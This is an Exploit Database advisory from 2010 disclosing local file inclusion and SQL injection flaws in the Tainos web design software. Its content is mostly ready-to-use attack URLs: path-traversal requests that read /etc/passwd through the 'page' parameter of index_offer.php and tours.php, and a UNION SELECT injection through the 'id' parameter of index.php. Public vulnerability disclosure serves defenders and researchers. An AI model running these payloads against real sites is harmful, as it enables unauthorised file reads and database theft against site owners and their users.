Tainos – Multiple Vulnerabilities

• Exploit Database
• 13 阅读

• 作者： XroGuE
  日期： 2010-05-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/12629/

• =======================================================
  Tainos Multiple Vulnerabilities
  =======================================================
  ########################################
  # Name: Tainos Multiple Vulnerabilities
  # Vendor: www.tainos-webdesign.com
  # Date: 2010/05/16
  # Author: Ashiyane Digital Security Team
  # Discovered: XroGuE
  # Thanks to: Virangar,Ali.Eagle,Satanic2000,Ashiyane Members
  # Contact: Xrogue_p3rsi4n_hack3r@Hotmail.com
  ########################################
  
  ########################################
  [+] Local File Include Vulnerability:
  
  [+] Vulnerability: www.Site.com/[path]/Page.php?page=[LFI]
  
  [+] Example: http://[site]/index_offer.php?page=../../../../../../../../../../etc/passwd
  
  [+] Example: http://[site]/nederlands/tours.php?page=../../../../../../../../../../etc/passwd
  
  ########################################
  
  ########################################
  [+] SQL Injection Vulnerability:
  
  [+] Vulnerability: /www.site.com/index.php?id=[SQLi]
  
  [+] Example: http://[site]/index.php?id=-9999+union+all+select+1,2,@@version,4,5
  
  ########################################